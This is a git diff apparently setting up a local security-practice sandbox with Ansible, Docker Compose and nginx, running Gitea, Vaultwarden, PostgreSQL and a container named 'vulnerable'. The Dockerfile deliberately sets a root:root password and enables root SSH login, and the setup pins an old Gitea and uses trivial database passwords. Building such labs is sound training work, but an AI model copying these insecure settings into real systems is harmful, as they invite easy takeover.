+ pkg:
+# - metasploit-framework
+ - curl
+ - nmap
+ - libnss3-tools
+ state: present
+ update_cache: yes
+
+ - name: Add sandbox hostnames to /etc/hosts
+ lineinfile:
+ path: /etc/hosts
+ line: "192.168.56.10 gitea.vm.local bitwarden.vm.local vuln.vm.local"
+ state: present
\ No newline at end of file
diff --git a/webserver/insecure/sandbox/docker-compose.yml b/webserver/insecure/sandbox/docker-compose.yml
new file mode 100644
index 0000000..0b84eee
--- /dev/null
+++ b/webserver/insecure/sandbox/docker-compose.yml
@@ -0,0 +1,75 @@
+services:
+ vaultwarden:
+ image: vaultwarden/server:latest
+ container_name: vaultwarden
+ restart: unless-stopped
+ networks:
+ - internal
+ environment:
+ DOMAIN: "https://bitwarden.vm.local"
+ DATABASE_URL: "postgres://vaultwarden:vaultwarden@postgres:5432/vaultwarden"
+ volumes:
+ - ./vw-data/:/data/
+ expose:
+ - 80
+ extra_hosts:
+ - "postgres:172.18.0.1"
+
+ gitea:
+ image: docker.gitea.com/gitea:1.16.6
+ container_name: gitea
+ environment:
+ - USER_UID=1000
+ - USER_GID=1000
+ - GITEA__database__DB_TYPE=postgres
+ - GITEA__database__HOST=postgres:5432
+ - GITEA__database__NAME=gitea
+ - GITEA__database__USER=gitea
+ - GITEA__database__PASSWD=gitea
+ - GITEA__security__INSTALL_LOCK=true
+ - GITEA__server__ROOT_URL=https://gitea.vm.local/
+ - GITEA__migrations__ALLOW_LOCALNETWORKS=true
+ restart: unless-stopped
+ networks:
+ - internal
+ volumes:
+ - ./gitea:/data
+ - /etc/timezone:/etc/timezone:ro
+ - /etc/localtime:/etc/localtime:ro
+ ports:
+ - 3000:3000
+ expose:
+ - 3000
+ - 22
+ extra_hosts:
+ - "postgres:172.18.0.1"
+
+ vulnerable:
+ build: /vagrant/sandbox/vuln
+ ports:
+ - 2222:22
+ networks:
+ - internal
+ extra_hosts:
+ - "postgres:172.18.0.1"
+
+ nginx:
+ image: nginx:latest
+ container_name: nginx
+ restart: unless-stopped
+ networks:
+ - internal
+ volumes:
+ - ./nginx.conf:/etc/nginx/conf.d/default.conf
+ - ./nginx/certs:/etc/nginx/certs
+ ports:
+ - 80:80
+ - 443:443
+
+networks:
+ internal:
+ driver: bridge
+ ipam:
+ config:
+ - subnet: 172.18.0.0/16
+ gateway: 172.18.0.1
\ No newline at end of file
diff --git a/webserver/insecure/sandbox/nginx.conf b/webserver/insecure/sandbox/nginx.conf
new file mode 100644
index 0000000..91b5b1f
--- /dev/null
+++ b/webserver/insecure/sandbox/nginx.conf
@@ -0,0 +1,33 @@
+server {
+ listen 443 ssl;
+ server_name gitea.vm.local;
+
+ ssl_certificate /etc/nginx/certs/gitea.vm.local.pem;
+ ssl_certificate_key /etc/nginx/certs/gitea.vm.local-key.pem;
+
+ location / {
+ proxy_pass http://gitea:3000;
+ proxy_set_header Host $host;
+ proxy_set_header X-Real-IP $remote_addr;
+ }
+}
+
+server {
+ listen 443 ssl;
+ server_name bitwarden.vm.local;
+
+ ssl_certificate /etc/nginx/certs/bitwarden.vm.local.pem;
+ ssl_certificate_key /etc/nginx/certs/bitwarden.vm.local-key.pem;
+
+ location / {
+ proxy_pass http://vaultwarden:80;
+ proxy_set_header Host $host;
+ proxy_set_header X-Real-IP $remote_addr;
+ }
+}
+
+server {
+ listen 80;
+ server_name _;
+ return 301 https://$host$request_uri;
+}
diff --git a/webserver/insecure/sandbox/playbook.yml b/webserver/insecure/sandbox/playbook.yml
new file mode 100644
index 0000000..0466d0b
--- /dev/null
+++ b/webserver/insecure/sandbox/playbook.yml
@@ -0,0 +1,245 @@
+---
+- hosts: all
+ become: true
+ vars:
+ container_count: 1
+ default_container_name: docker
+ default_container_image: hello-world
+ default_container_command: sleep 1
+ tasks:
+ - name: Add PostgreSQL APT repository key
+ apt_key:
+ url: https://www.postgresql.org/media/keys/ACCC4CF8.asc
+ state: present
+
+ - name: Add PostgreSQL APT repository
+ apt_repository:
+ repo: deb http://apt.postgresql.org/pub/repos/apt jammy-pgdg main
+ state: present
+ filename: 'pgdg'
+
+ - name: Install required system packages
+ apt:
+ pkg:
+ - apt-transport-https
+ - ca-certificates
+ - curl
+ - software-properties-common
+ - virtualenv
+ - python3-psycopg2
+ - acl
+ - bc
+ - sysstat
+ state: latest
+ update_cache: true
+
+ - name: Install PostgreSQL 9.6
+ apt:
+ name: postgresql-9.6
+ state: present
+ update_cache: yes
+
+ - name: Copy nginx conf
+ copy:
+ src: /vagrant/sandbox/nginx.conf
+ dest: /home/vagrant/nginx.conf
+
+ - name: Copy docker compose
+ copy:
+ src: /vagrant/sandbox/docker-compose.yml
+ dest: /home/vagrant/docker-compose.yml
+
+ - name: Ensure certs directory exists
+ file:
+ path: /home/vagrant/nginx/certs
+ state: directory
+ mode: '0755'
+
+ - name: Install mkcert dependencies
+ apt:
+ pkg:
+ - libnss3-tools
+ - ca-certificates
+ state: present
+ update_cache: yes
+
+ - name: Download mkcert binary
+ get_url:
+ url: https://github.com/FiloSottile/mkcert/releases/latest/download/mkcert-v1.4.4-linux-amd64
+ dest: /usr/local/bin/mkcert
+ mode: '0755'
+ register: mkcert_download
+
+ - name: Ensure mkcert CAROOT directory exists
+ file:
+ path: /home/vagrant/.local/share/mkcert
+ state: directory
+ mode: '0755'
+
+ - name: Initialize mkcert CA
+ command: mkcert -install
+ environment:
+ XDG_DATA_HOME: /home/vagrant/.local/share
+ CAROOT: /home/vagrant/.local/share/mkcert
+ args:
+ creates: /home/vagrant/.local/share/mkcert/rootCA.pem
+
+ - name: Generate cert for gitea.vm.local
+ command: >
+ mkcert
+ -cert-file /home/vagrant/nginx/certs/gitea.vm.local.pem
+ -key-file /home/vagrant/nginx/certs/gitea.vm.local-key.pem
+ gitea.vm.local
+ args:
+ creates: /home/vagrant/nginx/certs/gitea.vm.local.pem
+
+ - name: Generate cert for bitwarden.vm.local
+ command: >
+ mkcert
+ -cert-file /home/vagrant/nginx/certs/bitwarden.vm.local.pem
+ -key-file /home/vagrant/nginx/certs/bitwarden.vm.local-key.pem
+ bitwarden.vm.local
+ args:
+ creates: /home/vagrant/nginx/certs/bitwarden.vm.local.pem
+
+ - name: Ensure export directory exists
+ file:
+ path: /vagrant/shared/ca
+ state: directory
+ mode: '0755'
+
+ - name: Copy mkcert rootCA.pem to shared directory
+ copy:
+ src: /home/vagrant/.local/share/mkcert/rootCA.pem
+ dest: /vagrant/shared/ca/rootCA.pem
+ remote_src: yes
+
+ - name: Add Docker GPG apt Key
+ apt_key:
+ url: https://download.docker.com/linux/ubuntu/gpg
+ state: present
+
+ - name: Add Docker Repository
+ apt_repository:
+ repo: deb https://download.docker.com/linux/ubuntu focal stable
+ state: present
+
+ - name: Update apt and install docker-ce
+ apt:
+ pkg:
+ - docker-ce
+ - docker-compose-plugin
+ state: latest
+ update_cache: true
+
+ - name: Add 'vagrant' and 'git' users to docker group
+ user:
+ name: "{{ item }}"
+ groups: docker
+ append: yes
+ loop:
+ - vagrant
+ - git
+
+ - name: Create git user
+ user:
+ name: git
+ shell: /home/git/docker-shell
+ home: /home/git
+ create_home: yes
+
+ - name: Deploy docker passthrough shell
+ copy:
+ dest: /home/git/docker-shell
+ content: |
+ #!/bin/sh
+ exec /usr/bin/docker exec -i -u git --env SSH_ORIGINAL_COMMAND="$SSH_ORIGINAL_COMMAND" gitea sh "$@"
+ mode: '0755'
+
+ - name: Update SSH config for git user
+ blockinfile:
+ path: /etc/ssh/sshd_config
+ block: |
+ Match User git
+ AuthorizedKeysCommandUser git
+ AuthorizedKeysCommand /usr/bin/docker exec -i -u git gitea /usr/local/bin/gitea keys -c /data/gitea/conf/app.ini -e git -u %u -t %t -k %k
+
+ - name: Restart SSH
+ service:
+ name: ssh
+ state: restarted
+
+ - name: Ensure PostgreSQL service is running
+ service:
+ name: postgresql
+ state: started
+ enabled: yes
+
+ - name: Create PostgreSQL user for gitea
+ become: true
+ become_user: postgres
+ postgresql_user:
+ name: gitea
+ password: gitea
+ state: present
+
+ - name: Create PostgreSQL database for gitea
+ become: true
+ become_user: postgres
+ postgresql_db:
+ name: gitea
+ owner: gitea
+ state: present
+
+ - name: Create PostgreSQL user for vaultwarden
+ become: true
+ become_user: postgres
+ postgresql_user:
+ name: vaultwarden
+ password: vaultwarden
+ state: present
+
+ - name: Create PostgreSQL database for vaultwarden
+ become: true
+ become_user: postgres
+ postgresql_db:
+ name: vaultwarden
+ owner: vaultwarden
+ state: present
+
+ - name: Set PostgreSQL to listen on localhost and Docker bridge IP
+ become: yes
+ lineinfile:
+ path: /etc/postgresql/9.6/main/postgresql.conf
+ regexp: '^#?listen_addresses\s*='
+ line: "listen_addresses = 'localhost,172.18.0.1'"
+ notify: Restart PostgreSQL
+
+ - name: Allow connections from Docker subnet in pg_hba.conf
+ become: yes
+ lineinfile:
+ path: /etc/postgresql/9.6/main/pg_hba.conf
+ line: 'host all all 172.18.0.0/16 md5'
+ create: yes
+ insertafter: EOF
+ state: present
+ notify: Restart PostgreSQL
+
+ - name: Ensure Docker service is running
+ service:
+ name: docker
+ state: started
+ enabled: true
+
+ - name: Run docker compose up -d
+ command: docker compose up -d
+ args:
+ chdir: /home/vagrant
+
+
+ handlers:
+ - name: Restart PostgreSQL
+ become: yes
+ service:
+ name: postgresql
+ state: restarted
\ No newline at end of file
diff --git a/webserver/insecure/sandbox/vuln/Dockerfile b/webserver/insecure/sandbox/vuln/Dockerfile
new file mode 100644
index 0000000..24e7854
--- /dev/null
+++ b/webserver/insecure/sandbox/vuln/Dockerfile
@@ -0,0 +1,9 @@
+FROM ubuntu:22.04
+RUN apt update && apt install -y openssh-server
+RUN echo 'root:root' | chpasswd
+RUN sed -i 's/#\?PermitRootLogin .*/PermitRootLogin yes/' /etc/ssh/sshd_config && \
+ sed -i 's/#\?PasswordAuthentication .*/PasswordAuthentication yes/' /etc/ssh/sshd_config
+
+RUN mkdir /var/run/sshd
+EXPOSE 22
+CMD ["/usr/sbin/sshd", "-D"]
\ No newline at end of file